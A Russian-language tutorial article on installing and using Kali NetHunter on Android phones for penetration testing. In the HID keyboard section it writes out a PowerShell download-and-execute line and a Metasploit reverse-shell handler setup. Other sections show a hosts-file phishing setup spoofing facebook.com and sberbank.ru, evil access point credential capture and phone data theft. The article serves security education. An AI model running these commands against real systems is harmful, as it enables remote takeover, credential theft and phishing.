Меню Закрыть

Используем планшет или смартфон на Android для пентестера

Используем планшет или смартфон на Android для пентестера

ARM-сборки BackTrack 5 и Kali Linux можно было запустить в среде Android давно. Некоторые инструменты в них не работали, другие работали медленно, но в целом дистрибутив шевелился, и можно было носить в кармане несколько сотен утилит для пентестинга. BinkyBear из комьюнити Kali решил, что этого мало, и создал Kali NetHunter — вариант дистрибутива, оптимизированный для Android.

 

ТОТ САМЫЙ KALI LINUX

По своей сути NetHunter — это почти не измененный Kali Linux, устанавливаемый «поверх» Android и работающий внутри chroot-окружения. Он включает в себя все тот же набор из огромного количества хорошо известных нам инструментов пентестинга, а также графическую среду XFCE, достучаться до которой можно как с самого смартфона, так и с ноута/ком-па/планшета с помощью любого VNC-клиента.

Отличие NetHunter от «просто установки Kali Linux в chroot» в нескольких нюансах. Во-первых, здесь есть графическое приложение для управления некоторыми возможностями дистрибутива, вроде запуска тех или иных сервисов или включения точки доступа MANA. Во-вторых, он включает в себя небольшой набор Android-софта, который будет полезен при выполнении атак или работе с дистрибутивом: Hacker’s Keyboard, Android VNC, DriveDroid и другие. В-третьих, для каждого поддерживаемого устройства в NetHunter есть собственное кастомное ядро, собранное с поддержкой загрузки эмуляции USB-клавиатуры или сетевого адаптера и механизмов внедрения фреймов в сетевой поток (Wireless 802.11 frame injection). Эти функции используются для проведения атак типа BadUSB, Teensy, а также для внедрения в передаваемые по сети файлы разного рода бэкдоров (с использованием точки доступа MANA и инструмента Backdoor Factory).

В остальном же все довольно стандартно, и тот, кто знаком с Kali (я не говорю о юзерах графической оболочки), найдет здесь знакомое окружение и набор инструментов: Aircrack, Maltego, Metasploit, SAINT, Kismet, Bluebugger, BTCrack, Btscanner, Nmap, p0f и многие, многие другие.

СТАВИМ И ЕДЕМ

На момент написания этих строк последней публичной версией NetHunter была 1.1.0, а официальная поддержка существовала всего для шести (или восьми, как посмотреть) моделей устройств:

  • Nexus 4 (GSM);
  • Nexus 5 (GSM/LTE);
  • Nexus 7 [2012] (Wi-Fi);
  • Nexus 7 [2012] (Mobile);
  • Nexus 7 [2013] (Wi-Fi);
  • Nexus 7 [2013] (Mobile);
  • Nexus 10;
  • OnePlus One 16 GB;
  • OnePlus One 64 GB.

Второе требование — это версия Android 4.4.4; без добавления «как минимум», да еще и с полученным root, кастомной консолью восстановления (TWRP или CWM, без разницы) и не меньше 4,5 Гб свободного пространства. А чтобы получить возможность снифинга трафика и инъекции фреймов, нужна еще и внешняя USB-шная Wi-Fi-сетевуха, причем не какая попало, а той модели, поддержка которой реализована в ядре, а также OTG-кабель для подключения.

Kali NetHunter

Когда все эти требования будут выполнены — ты готов. Теперь иди на страницу загрузки (goo.gl/aorLZz), ищи свой девайс и скачивай ZIP-файл (там есть также Windows-инсталлятор, но его я описывать не буду по религиозным соображениям). Теперь скидывай ZIP на карту памяти, перезагружай планшет в режим recovery и прошивай прямо поверх текущей прошивки без всяких вайпов. Процесс будет длиться долго, так как 2,4-гигабайтное chroot-окружение Kali Linux запаковано с помощью весьма жадного до процессора и памяти архиватора bzip2. После завершения операции можно перезагрузиться.

ЧТО ВНУТРИ?

Итак, вновь загрузился Android, и теперь у нас есть:

  • NetHunter Home — приложение-обвязка для запуска самых необходимых функций Kali NetHunter.
  • Дистрибутив Kali Linux в каталоге /data/local/kali-armhf/ (все операции запускаются в нем).
  • BusyBox и консольный редактор Nano.
  • Android VNC — простой VNC-клиент для доступа к рабочему столу Kali Linux.
  • BlueNMEA — приложение для отсылки текущих координат на другое устройство по Bluetooth или TCP (нужен для работы Kismet).
  • DriveDroid — приложение, позволяющее использовать смартфон в качестве Live USB.
  • Hacker’s Keyboard — всем известная полноразмерная Android-клавиатура.
  • RF Analyzer — приложение для работы с HackRF/RTL-SDR.
  • USB Keyboard — эмулятор USB-клавиатуры.
  • Набор конфигурационных файлов и обоев на карте памяти (в каталогах files и kali-nh).
Читайте также:  Выбор планшета перед покупкой

 

Центральное место здесь занимают, конечно же, NetHunter Home и сам дистрибутив, причем первый — это просто обвязка для запуска тех или иных действий внутри дистрибутива через скрипт /system/bin/bootkali. NetHunter Home запускает его с тем или иным аргументом (например, start apache), а тот, в свою очередь, делает chroot в /data/local/kali-armhf/ и выполняет ряд команд в зависимости от переданного аргумента.

NETHUNTER HOME

Итак, NetHunter Home — главный «пульт управления» Kali NetHunter. Он разделен на восемь независимых вкладок.

Первая — это просто экран приветствия

Первая — это просто экран приветствия, на котором отображается инфа о NetHunter, а также IP-шники сетевых интерфейсов и внешний IP роутера, если девайс подключен к Wi-Fi.

На второй вкладке здесь так называемый Kali Launcher, который позволяет открыть консоль Kali в chroot (просто выполняет команду bootkali), запустить текстовое меню (bootkali kalimenu), о котором мы поговорим позже, обновить Kali chroot (bootkali update) или запустить инструмент wifite (goo.gl/aW82v2) для взлома сетей Wi-Fi (WEP, WPS, перехват WPA handshake); он требует внешний Wi-Fi-адаптер. На третьей вкладке панель управления сетевыми сервисами: SSH, Dnsmasq, Hostapd (точка доступа), OpenVPN, Apache, сервер Metasploit и веб-интерфейс BeEF Framework (beefproject.com).

На третьей вкладке панель управления сетевыми сервисами: SSH, Dnsmasq, Hostapd (точка доступа), OpenVPN, Apache, сервер Metasploit и веб-интерфейс BeEF Framework

HID Keyboard Attack

Четвертая вкладка позволяет запустить атаку HID Keyboard Attack. Ее суть очень проста: подключенный к компу через OTG-кабель смартфон/планшет прикидывается USB-клавиатурой и «нажимает» любые кнопки, какие мы захотим. По умолчанию NetHunter предлагает нам два варианта ее использования.

HID Keyboard Attack

Первый — наша виртуальная клавиатура открывает командную строку и вбивает указанные нами команды. Для этого переходим на второй экран (Windows CMD), вбиваем в поле ввода любые команды и нажимаем кнопку Update. Подключаем девайс к компу, открываем меню и нажимаем Execute Attack. Наблюдаем за тем, что происходит в винде.

Второй способ более изощренный и сложный в настройке. Он носит имя PowerSploit Attack и позволяет быстро получить сетевой доступ к командной строке Windows с телефона (вся операция занимает несколько секунд).

Работает это так: смартфон подключается к компу, открывает командную строку и запускает в ней PowerShell со следующей командой (во время самой атаки она будет закодирована в Base64):

iex (New-Object Net.WebClient).DownloadString(«http://192.168.1.1/payload»)

Эта команда запускает скрипт, размещенный по адресу http://192.168.1.1/payload. IP — это наш смартфон с запущенным Apache, а payload — PowerShell-эксплойт, вся работа которого заключается в том, чтобы загрузить с сервера Metasploit (он тоже запущен на нашем смартфоне) наш шелл-код, реализующий обратный HTTPS-шелл, и внедрить его в текущий процесс PowerShell:

Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -Lport 4444 -Force

В результате мы получим доступ к командному интерпретатору Windows по HTTPS. Реализовать такую атаку с помощью одного лишь тыканья по кнопочкам интерфейса не удастся, поэтому придется повозиться с командной строкой Kali. Для начала переходим на вкладку HID Keyboard Attack, в поле IP Address вписываем свой айпишник (напомню, он есть на главной странице NetHunter Home), в поле Port оставляем 4444, Payload оставляем как есть, в поле URL to payload меняем IP на свой. Нажимаем Update.

Теперь идем в Kali Service Control и включаем Apache. Далее нам необходимо запустить сервер Metasploit. Идем в Kali Launcher и запускаем Shell. В нем открываем консоль Metasploit:

Читайте также:  Бизнес-идея: мотели и гостиницы. С чего начать

# msfconsole -q

И настраиваем хендлер для отдачи нашего шелл-кода:

> use exploit/multi/handler
> set PAYLOAD windows/meterpreter/reverse_https
> set LHOST 192.168.1.1
> set LPORT 4444
> exploit

Естественно, вместо 192.168.1.1 используем IP смартфона. На этом конфигурация завершена, и мы готовы к атаке. Сворачиваем (не закрываем!) окно терминала с Kali, возвращаемся в NetHunter Home, подключаем смартфон OTG-кабелем к компу, ждем пару секунд и нажимаем Execute Attack на вкладке HID Keyboard Attack. Возвращаемся в терминал Kali и наблюдаем. Если все прошло гладко, в терминал вывалится строчка [*] Meterpreter session 1 opened. После этого можно отключиться от компа и получить сетевой доступ к его командной строке с помощью команды shell. Это все.

BadUSB MITM Attack

Это пятая вкладка Kali NetHunter. Здесь находится интерфейс включения местной реализации нашумевшей атаки BadUSB. Принцип этой атаки довольно прост и сводится к тому, что после подключения к компу USB-девайс (в данном случае смартфон) переконфигурирует собственный USB-контроллер с целью прикинуться другим устройством и выполнять несвойственные ему функции. В описанном выше типе атаки смартфон притворялся клавиатурой, в реализации атаки BadUSB, продемонстрированной на Black Hat 2014, он становится внешней сетевой картой.

Точно так же работает и аналогичная функция NetHunter. Ты просто подключаешь смартфон к компу, запускаешь NetHunter Home, затем включаешь BadUSB, и комп автоматически начинает использовать твой девайс для выхода в интернет, вне зависимости от того, работает он на базе Windows или Linux (но только в том случае, если дистрибутив использует один из автоматических конфигураторов сетевой карты, например NetworkManager). Ключевая идея этой атаки в том, что трафик можно поснифать с помощью Wireshark или стандартного tcpdump, запустив его из консоли Kali и указав в качестве сетевого интерфейса rndisO:

# tcpdump -i rndis0

Или даже выполнить фишинг-атаку, создав на карте памяти файл hosts с IP-адресами подложных серверов:

123.123.123.123 facebook.com
234.234.234.234 sberbank.ru

И перезапустить dnsmasq из консоли Kali, подсунув наш файл hosts:

#killall dnsmasq
#dnsmasq -H /sdcard/hosts -i rndis0 -R -S 8.8.8.8\tL -F 192.168.100.100,192.168.100.200 -x /var/run/dnsmasq.pid

MANA Evil Access Point

Шестая вкладка, и здесь у нас интерфейс запуска программной точки доступа MANA (goo.gl/5lRDEp), разработанной в компании SensePost (sensepost.com). Это модифицированный hostapd и набор скриптов, которые позволяют перехватывать (и брутфорсить) хеши паролей от точки доступа с аутентификацией IEEE 802.1X (сервер RADIUS, корпоративщина), выполнять HTTPS Stripping (автоматическая подмена HTTPS-ссылок на HTTP) и SSL Split (перехват и логирование SSL/ TLS-соединений).

MANA Evil Access Point

Несмотря на обилие экранов с файлами настройки во вкладке, все это хозяйство вполне себе работает из коробки и сыплет логи в /var/lib/mana-toolkit/ внутри Kali chroot. А оттуда их можно скопировать на SD-карту:

# cp -R /var/lib/mana-toolkit/ /sdcard/

В NetHunter доступны пять стандартных конфигураций MANA, выбор между которыми можно сделать во время запуска точки доступа:

  • mana-nat-full — NAT во внешний мир (через сотовую сеть), плюс перехват кукисов, плюс HTTPS Stripping и SSL Split;
  • mana-nat-simple — просто NAT можно юзать для снифинга трафика;
  • mana-nat-simple-bdf — NAT плюс редирект HTTP-трафика на порт 8080, на котором можно запустить BDFProxy для внедрения кода (бэкдора) в передаваемые файлы (эта тема выходит за рамки данной статьи);
  • mana-noupstream — точка доступа без выхода в интернет с перенаправлением трафика в Metasploit с преднастроенными фиктивными SMB, SMTP, HTTP и другими сервисами (перехват логинов и паролей);
  • mana-noupstream-eap — то же самое, но с перехватом и брутфорсингом EAP-хешей.
Читайте также:  Как отключить добавление иконок новых приложений на домашний экран Android планшета (смартфона)

В любой из этих конфигураций точка доступа может быть использована для атаки типа KARMA (поле Enable Karma на первом экране MANA Evil Access Point). В этом случае она будет менять свой SSID на тот, что пытается найти сам клиент (клиент выполняет Probe Request, содержащий имена «сохраненных/доверенных сетей», его перехватывает MANA и оперативно меняет свое имя, индивидуально для каждого клиента). При отключении данной функции точка доступа будет иметь имя, указанное в поле SSID.

КОНСОЛЬ, ТЕКСТОВОЕ МЕНЮ И VNC

Как я уже сказал, для работы с NetHunter совсем не обязательно использовать графическое Android-приложение. К нашим услугам есть скрипт bootkali, а также набор скриптов в / system/xbin/, с помощью которых можно запускать сервисы и атаки. Например, ту же точку доступа MANA можно запустить, открыв терминал Android и запустив скрипт start-mana-full:

$ su
# start-mana-full

Также доступны start-apache, start-badusb, start-ssh и другие, все их можно увидеть, выполнив в терминале такую команду:

$ ls /system/xbin/start-*

У большинства скриптов есть и компаньон в виде скрипта stop-*, например stop-apache. Также мы можем выполнить chroot в окружении Kali для запуска экзотических видов атак и инструментов. Для этого просто набираем bootkali в терминале, а далее запускаем любые необходимые инструменты, например kismet:

$ bootkali # kismet

Чтобы не мучиться с поиском необходимых инструментов и не вспоминать правильные команды их запуска и аргументы, можно использовать команду kalimenu внутри Kali chroot. Она выведет на экран разбитое на разделы меню, через которое можно запустить нужный инструмент, выполнить некоторые настройки и запустить VNC-сервер для доступа к графическому интерфейсу Kali с компа или через Android VNC. Всего тут одиннадцать пунктов, с помощью которых можно запустить знакомые нам airdump-ng, wifite (раздел Wireless Attack), tcpdump, tshark (Sniffing/Spoofing), AutoSSH, pTunnel (Revers Shells), Metasploit, Beef-XSS (Exploit Tools) и многие другие.

Особо отмечу меню USB Attacks, содержащее забавный инструмент deADBolt (goo.gl/10gWiD). Это своего рода взломщик Android-девайсов, позволяющий подключить другой смартфон с помощью OTG-кабеля и снять с него блокировку, утащить данные приложений, настройки аккаунтов, фотографии или все содержимое SD-карты целиком. Недостаток инструмента только в том, что для работы он использует протокол ADB, а это значит, что на смартфоне жертвы атаки должен быть активирован режим разработчика, включена «Отладка по USB», дано согласие на отладку с нашего смартфона (появляется при подключении и только после разблокировки экрана). Для выполнения всех операций, кроме получения содержимого карты памяти и фото, смартфон жертвы должен иметь root.

В общем, игрушка и не более того.

Ну и напоследок — как включить доступ по VNC. Запускаем kalimenu, набираем 13 (это пункт Services), далее 3 (Start VNC Server), скрипт попросит два раза вбить пароль для доступа и выбрать, куда ему вешаться — только на localhost (для доступа с устройства) или на внешний интерфейс (для доступа с компа или других девайсов). Далее берем любой VNC-клиент и подключаемся к смартфону (IP, как я уже говорил, есть на первой вкладке NetHunter Home). На экране появится окружение рабочего стола XFCE.

ВЫВОДЫ

NetHunter — интересный, но пока еще сильно недоработанный проект. Организация дистрибутива очень нелогична, графическое Android-приложение позволяет запустить ограниченный набор инструментов, часть из которых приходится комбинировать с консольными командами. Документация скудная и поверхностная, поддержка устройств минимальная. Однако проект более чем перспективный, и, судя по анонсам разработчиков, это только начало длинного пути.

Рекомендуем к прочтению

Добавить комментарий

Ваш адрес email не будет опубликован.